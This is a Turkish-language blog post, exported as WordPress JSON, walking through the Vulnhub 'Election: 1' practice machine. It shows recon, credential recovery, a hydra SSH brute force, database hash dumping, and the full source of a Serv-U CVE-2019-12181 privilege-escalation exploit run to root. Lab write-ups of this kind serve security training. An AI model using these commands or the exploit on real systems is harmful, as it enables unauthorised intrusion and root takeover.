{"id":1315,"date":"2021-07-07T21:57:43","date_gmt":"2021-07-07T21:57:43","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1315"},"modified":"2021-07-07T21:57:43","modified_gmt":"2021-07-07T21:57:43","slug":"election-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/07\/election-1\/","title":{"rendered":"ELECTION: 1"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nIt is an OSCP-like VM, Medium Level difficulty.<\/p>\n

Vulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/election-1,503\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/election\/election.7z<\/a><\/p>\n

Walkthrough<\/h2>\n

Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# arp-scan -l      \nInterface: eth0, type: EN10MB, MAC: 00:0c:29:3d:df:6c, IPv4: 192.168.6.129\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.6.1 00:50:56:c0:00:08   VMware, Inc.\n192.168.6.2 00:50:56:f3:da:b0   VMware, Inc.\n192.168.6.128   00:0c:29:d8:37:b9   VMware, Inc.\n192.168.6.254   00:50:56:f0:28:2f   VMware, Inc.\n\n4 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 1.980 seconds (129.29 hosts\/sec). 4 responded\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.6.129  netmask 255.255.255.0  broadcast 192.168.6.255\n        inet6 fe80::20c:29ff:fe3d:df6c  prefixlen 64  scopeid 0x20<link>\n        ether 00:0c:29:3d:df:6c  txqueuelen 1000  (Ethernet)\n        RX packets 3496  bytes 5010015 (4.7 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1519  bytes 96802 (94.5 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim.<\/p>\n
\n('[*] Scan:', 2)\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-07 18:50 EDT\nNmap scan report for 192.168.6.128\nHost is up (0.00067s latency).\nNot shown: 65533 closed ports\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)\n|   256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)\n|_  256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\nMAC Address: 00:0C:29:D8:37:B9 (VMware)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.6\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.67 ms 192.168.6.128\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 9.23 seconds\n<\/code><\/pre>\n
80'de \u00e7al\u0131\u015fan http'ye odakland\u0131m. gobuster taramalar\u0131m sonucunda a\u015fa\u011f\u0131daki sonu\u00e7lar\u0131 elde ettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --status-codes-blacklist "404" -t 50 -w \/usr\/share\/wordlists\/dirb\/big.txt --url http:\/\/192.168.6.128\/election\/ --extensions php,py,log,txt,sql,bak,html,conf\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.6.128\/election\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              sql,bak,html,conf,php,py,log,txt\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/07 18:51:28 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.6.128\/election\/.htaccess.txt        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.bak        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.py         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess\/           (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.bak        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.html       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd\/           (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.py         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.sql        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.conf       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.php        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.log        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htpasswd.txt        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.sql        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.html       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.conf       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.php        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/.htaccess.log        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.128\/election\/admin\/               (Status: 200) [Size: 8964]\nhttp:\/\/192.168.6.128\/election\/card.php             (Status: 200) [Size: 1935]\nhttp:\/\/192.168.6.128\/election\/data\/                (Status: 200) [Size: 765] \nhttp:\/\/192.168.6.128\/election\/index.php            (Status: 200) [Size: 7003]\nhttp:\/\/192.168.6.128\/election\/js\/                  (Status: 200) [Size: 988] \nhttp:\/\/192.168.6.128\/election\/languages\/           (Status: 200) [Size: 1364]\nhttp:\/\/192.168.6.128\/election\/lib\/                 (Status: 200) [Size: 966] \nhttp:\/\/192.168.6.128\/election\/media\/               (Status: 200) [Size: 1753]\nhttp:\/\/192.168.6.128\/election\/themes\/              (Status: 200) [Size: 963] \n\n===============================================================\n2021\/07\/07 18:51:42 Finished\n===============================================================\n<\/code><\/pre>\n
http:\/\/192.168.6.128\/election\/card.php<\/a><\/strong> sayfas\u0131na gitti\u011fimde binary formatta datalar vard\u0131. BU verileri 2 kere text'e d\u00f6n\u00fc\u015ft\u00fcrd\u00fc\u011f\u00fcmde a\u015fa\u011f\u0131daki bilgileri elde ettim.<\/p>\n
user:1234\npass:Zxc123!@#<\/code><\/pre>\n
BU bilgilerle http:\/\/192.168.6.128\/election\/admin\/<\/a><\/strong> adresindeli login ekran\u0131ndan ba\u015far\u0131l\u0131 bir \u015fekilde giri\u015f yapt\u0131m. \u0130\u00e7eride doland\u0131ktan sonra http:\/\/192.168.6.128\/election\/admin\/pengaturan.php?_<\/a><\/strong> sayfas\u0131ndaki System Info alt\u0131nda loglar\u0131 indirebilece\u011fim bir buton vard\u0131. A\u015fa\u011f\u0131daki dosyaya ula\u015ft\u0131m.<\/p>\n
[2020-01-01 00:00:00] Assigned Password for the user love: P@$$w0rd@123\n[2020-04-03 00:13:53] Love added candidate 'Love'.\n[2020-04-08 19:26:34] Love has been logged in from Unknown IP on Firefox (Linux).\n[2021-07-08 00:03:11] Love has been logged in from Unknown IP on Firefox (Linux).\n[2021-07-08 00:56:20] Love has been logged in from Unknown IP on Firefox (Linux).\n[2021-07-08 01:03:09] Love changed homepage theme to shards.\n[2021-07-08 03:09:43] Love has been logged in from Unknown IP on Firefox (Linux).\n<\/code><\/pre>\n
Elimdeki user'lar ve password'ler ile ssh i\u00e7in hydra arac\u0131n\u0131 ba\u015flatt\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# cat users     \nadmin1\nlove\nLove\n1234\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# cat passwords \nZxc123!@#\nP@$$w0rd@123\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/love]\n\u2514\u2500# hydra -L users -P passwords ssh:\/\/192.168.6.128 \nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-07-07 18:52:47\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:4\/p:2), ~1 try per task\n[DATA] attacking ssh:\/\/192.168.6.128:22\/\n[22][ssh] host: 192.168.6.128   login: love   password: P@$$w0rd@123\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2021-07-07 18:52:50\n<\/code><\/pre>\n
ssh ile ba\u011fland\u0131m ve ilk flagi ald\u0131m.<\/p>\n
love@election:~$ cd Desktop\/\nlove@election:~\/Desktop$ ls\nuser.txt\nlove@election:~\/Desktop$ cat user.txt \ncd38ac698c0d793a5236d01003f692b0\n<\/code><\/pre>\n
Bunun \u00fczerine kullan\u0131c\u0131yla ara\u015ft\u0131rmalar yapmaya ba\u015flad\u0131m. Notlar\u0131m a\u015fa\u011f\u0131daki gibi...<\/p>\n
--\n[*] usr010 Is current user in an administrative group?..................... yes!\n---\nadm:x:4:syslog,love\n---<\/code><\/pre>\n
9 timers listed.\n---\n================================================================( network )=====\n[*] net000 Services listening only on localhost............................ yes!\n---\ntcp    LISTEN   0        80              127.0.0.1:3306           0.0.0.0:*     \ntcp    LISTEN   0        128             127.0.0.1:43958          0.0.0.0:*     \ntcp    LISTEN   0        5               127.0.0.1:631            0.0.0.0:*     \n---\n[!] net010 Can we sniff traffic with tcpdump?.............................. nope\n<\/code><\/pre>\n
love@election:\/var\/www\/html\/election\/admin\/inc$ cat conn.php \n<?php\n    error_reporting(0);\n    session_start();\n    $db_host = "localhost";\n    $db_user = "newuser";\n    $db_pass = "password";\n    $db_name = "election";\n    $connection = mysqli_connect($db_host,$db_user,$db_pass,$db_name);\n    if(!$connection){\n        echo "FATAL ERROR!";\n        exit();\n    }\n?>\nlove@election:\/var\/www\/html\/election\/admin\/inc$ mysql -u newuser -p\nEnter password: \nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 7\nServer version: 10.1.44-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]>  \n...\n\nMariaDB [mysql]> select User, Password from user;\n+---------+-------------------------------------------+\n| User    | Password                                  |\n+---------+-------------------------------------------+\n| root    | *9CFBBC772F3F6C106020035386DA5BBBF1249A11(toor) |\n| newuser | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19       |\n+---------+-------------------------------------------+<\/code><\/pre>\n
[-] SUID files:\n-rwsr-xr-x 1 root root 6319088 Nov 29  2017 \/usr\/local\/Serv-U\/Serv-U\n<\/code><\/pre>\n
Notlar\u0131m \u00fczerinden giderken tek i\u015fime yarayan suid biti oldu.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/tools\/CVE-2020-8635]\n\u2514\u2500# searchsploit Serv-U Local Privilege\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nRhinoSoft Serv-U FTP Server 3.x < 5.x - Local Privilege Escalation                                                                                                            | windows\/local\/381.c\nServ-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)                                                                                                     | linux\/local\/47072.rb\nServ-U FTP Server < 15.1.7 - Local Privilege Escalation (1)                                                                                                                   | linux\/local\/47009.c\nServ-U FTP Server < 15.1.7 - Local Privilege Escalation (2)                                                                                                                   | multiple\/local\/47173.sh\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[~\/tools\/CVE-2020-8635]\n\u2514\u2500# cp $(locate linux\/local\/47009.c) .<\/code><\/pre>\n
Uzun bir s\u00fcre ge\u00e7tikten sonra s\u0131ra bu exploiti kullanmaya gelmi\u015fti.<\/p>\n
love@election:\/tmp$ wget http:\/\/192.168.6.129:1111\/47009.c\n--2021-07-08 03:05:03--  http:\/\/192.168.6.129:1111\/47009.c\nConnecting to 192.168.6.129:1111... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 619 [text\/x-csrc]\nSaving to: \u201847009.c\u2019\n\n47009.c                                       100%[=================================================================================================>]     619  --.-KB\/s    in 0s      \n\n2021-07-08 03:05:03 (87.0 MB\/s) - \u201847009.c\u2019 saved [619\/619]\n\nlove@election:\/tmp$ \nlove@election:\/tmp$ \nlove@election:\/tmp$ \nlove@election:\/tmp$ \nlove@election:\/tmp$ head -n 30 47009.c\n\/*\n\nCVE-2019-12181 Serv-U 15.1.6 Privilege Escalation \n\nvulnerability found by:\nGuy Levin (@va_start - twitter.com\/va_start) https:\/\/blog.vastart.dev\n\nto compile and run:\ngcc servu-pe-cve-2019-12181.c -o pe && .\/pe\n\n*\/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <errno.h>\n\nint main()\n{       \n    char *vuln_args[] = {"\\" ; id; echo 'opening root shell' ; \/bin\/sh; \\"", "-prepareinstallation", NULL};\n    int ret_val = execv("\/usr\/local\/Serv-U\/Serv-U", vuln_args);\n    \/\/ if execv is successful, we won't reach here\n    printf("ret val: %d errno: %d\\n", ret_val, errno);\n    return errno;\n}love@election:\/tmp$ mv 47009.c servu-pe-cve-2019-12181.c\nlove@election:\/tmp$ gcc servu-pe-cve-2019-12181.c -o pe && .\/pe\nuid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love)\nopening root shell\n# id\nuid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love)\n# cd \/root  \n# ls\nroot.txt\n# cat root.txt\n5238feefc4ffe09645d97e9ee49bc3a6\n<\/code><\/pre>\n
Kendime not: Suid bitlerle alakal\u0131 exploit ar\u0131yorsan Local Priv anahtar kelimelerinide kullanmay\u0131 unutma.<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: It is an OSCP-like VM, Medium Level difficulty. Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/election-1,503\/ \u0130ndirme Sayfas\u0131: https:\/\/download.vulnhub.com\/election\/election.7z Walkthrough Makineyi tespit ederek ba\u015flayal\u0131m. \u250c\u2500\u2500(root💀kali)-[~\/oscp\/love] \u2514\u2500#…<\/p>\n
Devam\u0131n\u0131 okuELECTION: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1315","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1315","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1315"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1315\/revisions"}],"predecessor-version":[{"id":1316,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1315\/revisions\/1316"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1315"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}